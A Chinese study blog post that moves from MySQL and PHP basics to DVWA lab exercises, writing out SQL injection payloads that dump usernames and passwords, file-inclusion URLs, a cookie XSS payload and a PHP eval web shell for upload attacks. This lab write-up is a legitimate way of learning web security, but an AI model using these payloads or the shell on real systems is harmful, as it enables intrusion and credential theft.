赞
踩
create database database_name character set gbk;
create table table_name (column_name column_type);
insert into table_name(column1,column2...) values(value1,value2...);
insert into table_name set column1=value1,column2=value2...;
drop database database_name;
drop table table_name;
delete from table_name where columnx=valuex
alter table table_name1 rename table_name2;
update table_name set column1=value1,column2=value2 where id=x;
select column1,column2... from table_name where id=x;
可使用星号(*)来代替字段,SELECT语句会返回表的所有字段数据;可以使用 WHERE 语句来包含任何条件。
在小皮面板设置好数据库名,用户名和密码
在phpstudy的WWW的某目录下新建php文件
<?php $servername = "localhost"; $username = "handy"; $password = "123456"; // 创建连接(面向过程) $conn = mysqli_connect($servername, $username, $password); // 检测连接 if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } // 创建连接(面向对象) //$conn = new mysqli($servername, $username, $password); // 检测连接 //if ($conn->connect_error) { // die("连接失败: " . $conn->connect_error); //} echo "连接成功"; ?>
访问对应目录的url
在上面代码基础上添加如下代码:
// 创建数据库(面向过程)
$sql = "CREATE DATABASE myDB";
if (mysqli_query($conn, $sql)) {
echo "数据库创建成功";
} else {
echo "Error creating database: " . mysqli_error($conn);
}
mysqli_close($conn);
// 创建数据库(面向对象)
//if ($conn->query($sql) === TRUE) {
// echo "数据库创建成功";
//} else {
// echo "Error creating database: " . $conn->error;
//}
//$conn->close();
访问网页发现报错
登录phpMyAdmin发现handy用户无权限所以无法新建数据库
进入mysql的目录用cmd以root用户登录
mysql -u root -p
给handy用户添加访问和操作权限
grant all privileges on *.* to handy@localhost identified by "123456";
grant all privileges on *.* to handy@localhost identified by "123456" WITH GRANT OPTION;
再访问发现
登录phpMyAdmin发现myDB数据库的确新建成功
改动如下:
$dbname = "myDB";
$conn = mysqli_connect($servername, $username, $password, $dbname);
$sql = "CREATE TABLE MyGuests (
id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
firstname VARCHAR(30) NOT NULL,
lastname VARCHAR(30) NOT NULL,
email VARCHAR(50),
reg_date TIMESTAMP
)";
$sql = "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('John', 'Doe', 'john@example.com')";
插入多条数据时每个$sql的最后一个双引号前面都要加分号,mysqli_query
改为mysqli_multi_query
//面向过程 $sql = "SELECT id, firstname, lastname FROM MyGuests"; $result = mysqli_query($conn, $sql); if (mysqli_num_rows($result) > 0) { // 输出数据 while($row = mysqli_fetch_assoc($result)) { echo "id: " . $row["id"]. " - Name: " . $row["firstname"]. " " . $row["lastname"]. "<br>"; } } else { echo "0 结果"; } //面向对象 // $sql = "SELECT id, firstname, lastname FROM MyGuests"; // $result = $conn->query($sql); // if ($result->num_rows > 0) { // // 输出数据 // while($row = $result->fetch_assoc()) { // echo "id: " . $row["id"]. " - Name: " . $row["firstname"]. " " . $row["lastname"]. "<br>"; // } // } else { // echo "0 结果"; // }
<?php // 允许上传的图片后缀 $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); echo $_FILES["file"]["size"]; $extension = end($temp); // 获取文件后缀名 if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/pjpeg") || ($_FILES["file"]["type"] == "image/x-png") || ($_FILES["file"]["type"] == "image/png")) && ($_FILES["file"]["size"] < 204800) // 小于 200 kb && in_array($extension, $allowedExts)) { if ($_FILES["file"]["error"] > 0) { echo "错误:: " . $_FILES["file"]["error"] . "<br>"; } else { echo "上传文件名: " . $_FILES["file"]["name"] . "<br>"; echo "文件类型: " . $_FILES["file"]["type"] . "<br>"; echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>"; // 判断当期目录下的 upload 目录是否存在该文件 // 如果没有 upload 目录,你需要创建它,upload 目录权限为 777 if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " 文件已经存在。 "; } else { // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "文件存储在: " . "upload/" . $_FILES["file"]["name"]; } } } else { echo "非法的文件格式"; } ?>
使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
将内部指针指向数组中的最后一个元素,并输出。
搜索数组中是否存在指定的值。
检查文件或目录是否存在。
将上传的文件移动到新位置。
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } mysql_close(); } ?>
字符型
1' order by 1#
#爆列数
1' order by 2#
1' order by 3#
#有报错说明只有两列
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
#爆表名:guestbook,users
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
#爆列名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
1' union select user,password from users#
#查询数据
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
服务器端对page参数没有做任何的过滤跟检查。
服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行。如果文件内容确为php,则会正常执行并返回结果。如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
?page=xxx.txt
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。
?page=https://xxx/xxx.php
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); // Sanitize name input $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
<script>alert(document.cookie)</script>
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
<?php @eval($_POST['handy']); ?>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。